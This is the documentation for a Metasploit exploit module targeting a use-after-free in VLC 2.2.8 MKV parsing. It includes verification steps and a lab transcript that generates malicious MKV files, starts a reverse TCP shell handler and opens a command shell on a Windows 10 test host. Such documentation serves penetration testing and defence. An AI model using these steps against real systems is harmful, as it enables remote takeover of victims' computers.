Add documentation
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## Description
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VideoLAN VLC <= v2.2.8 (32 and 64 bit) are vulnerable to a use-after-free vulnerability that exists in the parsing of MKV files.
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This module has been tested against 32 and 64 bit versions of VLC v2.2.8 on Windows 10 Pro x64.
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## Vulnerable Application
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[VLC](https://get.videolan.org/vlc/) <= v2.2.8
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## Verification Steps
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- `./msfconsole -q`
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- `use exploit/windows/fileformat/vlc_mkv`
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- `run`
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- Start handler
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- Copy over mkv files to target hosts and open part1 in VLC
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- Set a shell
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## Scenarios
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### Windows 10 x64 running VLC 2.2.8 (x64)
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```
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msf5 > use exploit/windows/fileformat/vlc_mkv
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msf5 exploit(windows/fileformat/vlc_mkv) > set lhost 172.22.222.134
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lhost => 172.22.222.134
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msf5 exploit(windows/fileformat/vlc_mkv) > run
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[+] tjub-part1.mkv stored at /home/msfdev/.msf4/local/tjub-part1.mkv
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[*] Created tjub-part1.mkv. Target should open this file
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[+] tjub-part2.mkv stored at /home/msfdev/.msf4/local/tjub-part2.mkv
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[*] Created tjub-part2.mkv. Put this file in the same directory as tjub-part1.mkv
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[*] Appending blocks to tjub-part1.mkv
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[+] Succesfully appended blocks to tjub-part1.mkv
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msf5 exploit(windows/fileformat/vlc_mkv) > handler -p windows/x64/shell/reverse_tcp -H 172.22.222.134 -P 4444
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[*] Payload handler running as background job 0.
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msf5 exploit(windows/fileformat/vlc_mkv) >
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[*] Started reverse TCP handler on 172.22.222.134:4444
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[*] Sending stage (336 bytes) to 172.22.222.200
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[*] Command shell session 2 opened (172.22.222.134:4444 -> 172.22.222.200:49731) at 2018-10-10 12:08:58 -0500
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sessions -i 2
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[*] Starting interaction with 2...
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systeminfo
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systeminfo
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Host Name: DESKTOP-IPOGIJR
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OS Name: Microsoft Windows 10 Pro
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OS Version: 10.0.17134 N/A Build 17134
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```
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